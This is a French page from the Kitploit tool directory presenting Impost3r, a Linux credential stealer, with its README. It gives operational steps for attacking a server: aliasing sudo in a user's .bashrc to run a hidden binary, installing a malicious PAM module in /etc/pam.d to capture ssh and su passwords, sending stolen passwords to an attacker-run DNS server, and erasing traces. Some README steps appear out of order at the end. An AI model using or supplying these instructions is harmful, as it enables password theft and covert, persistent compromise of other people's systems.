Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Impost3r — 👻Impost3r -- Un voleur de mots de passe linux | Kitploit
Outils/GitHubGitHub/ph4ntonn/impost3r
Attaques de Mots de PassePost-ExploitationTests d'IntrusionRed Teaming
GitHubph4ntonn/impost3r

Impost3r

👻Impost3r -- Un voleur de mots de passe linux

Voir le dépôt
664122il y a 1 anVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

imposter.png

Impost3r

GitHub issues GitHub stars GitHub forks GitHub license

Anglais

Impost3r est un outil écrit en langage C, utilisé pour voler divers mots de passe (ssh, su, sudo) sous Linux.

Les utilisateurs peuvent utiliser ce programme pour créer un trou d'eau et voler les mots de passe des utilisateurs légitimes.

Cet outil est limité à la recherche en sécurité et à l'enseignement. L'utilisateur assume toutes les responsabilités légales et connexes résultant de l'utilisation de cet outil ! L'auteur n'assume aucune responsabilité légale ou connexe !

Caractéristiques

  • Effacement automatique des traces d'activité
  • Transmission des résultats via le protocole DNS
  • Invisibilité pour l'utilisateur

Dépendances

  • gcc

Utilisation

Impost3r peut être utilisé pour voler les mots de passe des services sudo, su et ssh. Ces trois services peuvent être globalement divisés en deux catégories : sudo et ssh/su. Les deux cas sont discutés ci-dessous.

Vol du mot de passe sudo

Seule une autorisation d'utilisateur ordinaire est nécessaire, pas forcément root, mais seul le mot de passe de l'utilisateur correspondant peut être volé, pas celui des autres utilisateurs.

  • Supposons d'abord que l'attaquant contrôle un serveur avec les droits d'un utilisateur ordinaire.

  • Vérifiez si le fichier .bash_profile existe dans le répertoire personnel. Si .bash_profile existe : vérifiez si .bashrc est chargé activement dans le fichier .bash_profile. Si c'est le cas, sautez cette étape et les deux étapes suivantes, et continuez. Si ce n'est pas le cas, sautez les deux étapes suivantes, et toutes les opérations ci-dessous concernant .bashrc seront remplacées par des opérations concernant .bash_profile !!! ; Si .bash_profile n'existe pas : passez à l'étape suivante.

  • Vérifiez si le fichier .bash_login existe dans le répertoire personnel. Si .bash_login existe : vérifiez si .bashrc est chargé activement dans le fichier .bash_login. Si c'est le cas, sautez cette étape et l'étape suivante, et continuez. Si ce n'est pas le cas, sautez l'étape suivante, et ; Si n'existe pas : passez à l'étape suivante.

root@kitploit:~
if [ -n "$BASH_VERSION" ]; then
    # include .bashrc if it exists
    if [ -f "$HOME/.bashrc" ]; then
	. "$HOME/.bashrc"
    fi
fi
  • Copiez le fichier .bashrc de l'utilisateur : cp ~/.bashrc /tmp/ et placez cette copie dans un chemin personnalisé par l'attaquant (dans cet exemple, placé dans /tmp/, l'attaquant peut le modifier).

  • Modifiez le fichier .bashrc dans le répertoire personnel de l'utilisateur (~/.bashrc) et ajoutez la ligne suivante à la fin (où "/tmp/.impost3r" doit correspondre au FILENAME ci-dessous) :

root@kitploit:~
alias sudo='impost3r() {
if [ -f "/tmp/.impost3r" ]; then
/tmp/.impost3r "$@" && unalias sudo
else
unalias sudo;sudo "$@"
fi
}; impost3r'
  • Après l'ajout, sauvegardez le fichier et exécutez source ~/.bashrc.

  • Ensuite, l'attaquant doit modifier le code source d'Impost3r /sudo/main.h :

root@kitploit:~
/*
    Custom setting
*/
# define FILENAME "/tmp/.impost3r" \\设置Impost3r在目标服务器上的位置
# define BACKUP_ORI_FILENAME ".bashrc" \\表明攻击者所备份的源用户配置文件是.bashrc还是.bash_profile、.profile、.bash_login
# define BACKUP_ORI_PATH "/tmp/.bashrc" \\表明攻击者所备份的源用户配置文件在目标服务器上的位置
# define SAVE_OR_SEND 0 \\设置在窃取成功后是将结果保存在目标机器上或者是发送至攻击者控制的机器(发送=0,保存=1,默认为发送)

/*
    Send to server
*/
# define YOUR_DOMAIN ".com" \\注意,如果你不想购买一个域名来接收Impost3r回传的消息且被植入Impost3r的目标服务器并未禁止向你所控制的dns服务器的53端口的直接udp连接,那么这里的域名请使用默认值;
\\但是如果被植入Impost3r的目标服务器严格限制了dns请求的出站,那么请将YOUR_DOMAIN的值改为你所购买的域名,例如“.example.com”,并将这个域名的NS记录配置成你所控制的DNS服务器地址,在此DNS服务器上运行Fdns,并将下方REMOTE_ADDRESS的值更改为被植入Impost3r的目标服务器的默认dns地址,REMOTE_PORT更改为被植入Impost3r的目标服务器的默认dns地址所监听的dns服务端口(绝大多数情况下都是53端口)
# define MAX_RESEND 30 \\设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数
# define RESEND_INTERVAL 5 \\设置每一次发送密码的间隔
# define REMOTE_ADDRESS "192.168.0.12" \\设置回送密码的远程地址
# define REMOTE_PORT 53 \\设置回送密码的远程端口

/*
    Save to local
*/
# define SAVE_LOCATION "/tmp/.cache" \\设置结果文件保存的位置,在SAVE_OR_SEND设置为1的情况下
  • Après modification, sauvegardez et exécutez make dans le répertoire actuel.

  • Obtenez le fichier compilé .impost3r dans le répertoire actuel.

  • Téléchargez le fichier .impost3r dans le dossier /tmp/ du serveur cible (exemple uniquement, peut être modifié, il suffit qu'il corresponde à la définition dans le code source).

  • L'attaquant démarre le programme serveur DNS sur son propre serveur et attend qu'un utilisateur légitime utilise sudo pour obtenir le mot de passe.

Résultat du vol

Conseils

  • En cas de vol du mot de passe sudo, Impost3r efface automatiquement les traces après succès, l'attaquant n'a pas besoin de nettoyer manuellement.
  • Impost3r détermine automatiquement si le mot de passe saisi par l'utilisateur est correct, et ne termine le processus et n'efface les traces qu'après la saisie du mot de passe correct.
  • Avant d'utiliser Impost3r, utilisez sudo -v pour vérifier si l'utilisateur actuel appartient au groupe sudoer. Sinon, n'utilisez pas Impost3r.

Vol du mot de passe ssh/su

Le vol du mot de passe ssh/su est différent de la méthode de vol du mot de passe sudo ci-dessus. Il nécessite les privilèges root et permet de voler le mot de passe de n'importe quel utilisateur.

L'exemple ci-dessous utilise Ubuntu, Centos est similaire, les fichiers utilisés et les méthodes de modification peuvent différer.

  • Supposons d'abord que l'attaquant contrôle un serveur.
  • Après avoir obtenu les privilèges root via une escalade de privilèges (ou si l'administrateur sympathique a démarré le service avec les privilèges root).
  • Modifiez d'abord le fichier source /ssh_su/main.h d'Impost3r :
root@kitploit:~
/*
    Custom setting
*/
# define SSH_OR_BOTH 0 \\设置偷取模式,0代表仅偷取ssh密码,1代表偷取ssh及su密码,默认为0(后面会讲到区别)
# define SAVE_OR_SEND 0 \\设置在窃取成功后是将结果保存在目标机器上或者是发送至攻击者控制的机器(发送=0,保存=1,默认为发送)

/*
    Send to server
*/
# define YOUR_DOMAIN ".com" \\注意,如果你不想购买一个域名来接收Impost3r回传的消息且被植入Impost3r的目标服务器并未禁止向你所控制的dns服务器的53端口的直接udp连接,那么这里的域名请使用默认值;
\\但是如果被植入Impost3r的目标服务器严格限制了dns请求的出站,那么请将YOUR_DOMAIN的值改为你所购买的域名,例如“.example.com”,并将这个域名的NS记录配置成你所控制的DNS服务器地址,在此DNS服务器上运行Fdns,并将下方REMOTE_ADDRESS的值更改为被植入Impost3r的目标服务器的默认dns地址,REMOTE_PORT更改为被植入Impost3r的目标服务器的默认dns地址所监听的dns服务端口(绝大多数情况下都是53端口)
# define MAX_RESEND 30 \\设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数(仅当SSH_OR_BOTH为0,此选项才有效)
# define RESEND_INTERVAL 5 \\设置每一次发送密码的间隔(仅当SSH_OR_BOTH为0,此选项才有效)
# define REMOTE_ADDRESS "192.168.0.12" \\设置回送密码的远程地址
# define REMOTE_PORT 53 \\设置回送密码的远程端口

/*
    Save to local
*/
# define SAVE_LOCATION "/tmp/.sshsucache" \\设置结果文件保存的位置,在SAVE_OR_SEND设置为1的情况下
  • Après modification, sauvegardez et exécutez make dans le répertoire actuel.

  • Obtenez le fichier compilé impost3r.so.

  • Téléchargez le fichier impost3r.so compilé dans /lib/x86_64-linux-gnu/security de la machine cible (le nom du dossier peut varier selon la machine, placez-le selon le cas).

  • Accédez à /etc/pam.d. Il y a deux cas : si le mode choisi est uniquement le vol du mot de passe ssh, alors exécutez vi sshd et ajoutez les instructions suivantes à la fin du fichier (notez que sur les autres systèmes basés sur Linux, ce fichier peut être très différent de celui d'Ubuntu, il est recommandé de comprendre les règles avant d'ajouter à l'endroit approprié) :

root@kitploit:~
auth optional impost3r.so
account optional impost3r.so
  • Sauvegardez et quittez, redémarrez le service sshd avec service sshd restart.

  • Si vous choisissez de voler à la fois les mots de passe ssh et su, exécutez vi common-auth, ajoutez les mêmes instructions, sauvegardez, quittez et redémarrez également le service sshd.

  • L'attaquant démarre le programme serveur DNS sur son propre serveur et attend qu'un utilisateur légitime se connecte à la machine cible via ssh ou utilise su pour changer d'utilisateur, afin d'obtenir le mot de passe.

Résultat du vol

Conseils

  • En cas de vol des mots de passe ssh/su, Impost3r ne peut pas effacer les traces en raison des privilèges, l'attaquant doit les effacer lui-même.
  • Notez que si vous configurez uniquement le vol du mot de passe ssh, l'attaquant peut être sûr de recevoir le résultat à 100%, tandis que si vous configurez le vol des deux, il n'est pas garanti que l'attaquant reçoive le résultat à 100% (uniquement lorsqu'il est configuré pour l'envoi DNS, la sauvegarde locale n'est pas affectée).
  • Il n'est pas recommandé de voler le mot de passe su, et comme le mot de passe ssh de l'utilisateur est le même que le mot de passe su, évitez de voler le mot de passe su si possible ; le mot de passe ssh suffit.
  • Par défaut, les mots de passe vides ne sont pas volés. Vérifiez vous-même si l'utilisateur a un mot de passe vide (vérifiez si le fichier de configuration sshd contient PermitEmptyPasswords yes. Si c'est vide, pourquoi voler ?).

Précautions

  • Le programme serveur DNS que j'utilise est Fdns, et j'ai modifié certains paramètres. Vous pouvez trouver le code source modifié dans le dossier Fdns. Compilez-le avec la commande gcc -o dns main.c util.c (notez qu'il faut d'abord modifier le port d'écoute dans main.c).
  • Avant de compiler Fdns, vérifiez la valeur YOUR_DOMAIN dans util.h pour vous assurer qu'elle correspond à la valeur YOUR_DOMAIN utilisée lors de la compilation du programme Impost3r sur le serveur cible, sinon le vol pourrait échouer.
  • Ce programme a été développé pour apprendre pendant mon temps libre, ses fonctionnalités peuvent comporter des bugs. Veuillez nous excuser et n'hésitez pas à signaler les problèmes.

Remerciements

  • Fdns
  • libbaseencode
Télécharger l’outil
toutes les opérations ci-dessous concernant .bashrc seront remplacées par des opérations concernant .bash_login !!!
.bash_login
  • Vérifiez si le fichier .profile existe dans le répertoire personnel. Si .profile existe : vérifiez si .bashrc est chargé activement dans le fichier .profile (par défaut, il l'est). Si c'est le cas, sautez cette étape et continuez. Si ce n'est pas le cas, toutes les opérations ci-dessous concernant .bashrc seront remplacées par des opérations concernant .profile !!! ; Si .profile n'existe pas non plus, en principe Impost3r ne pourra pas être utilisé. Vous pouvez toutefois décider de créer un fichier .bash_profile ou .profile et y écrire un code de chargement similaire à celui ci-dessous pour charger .bashrc :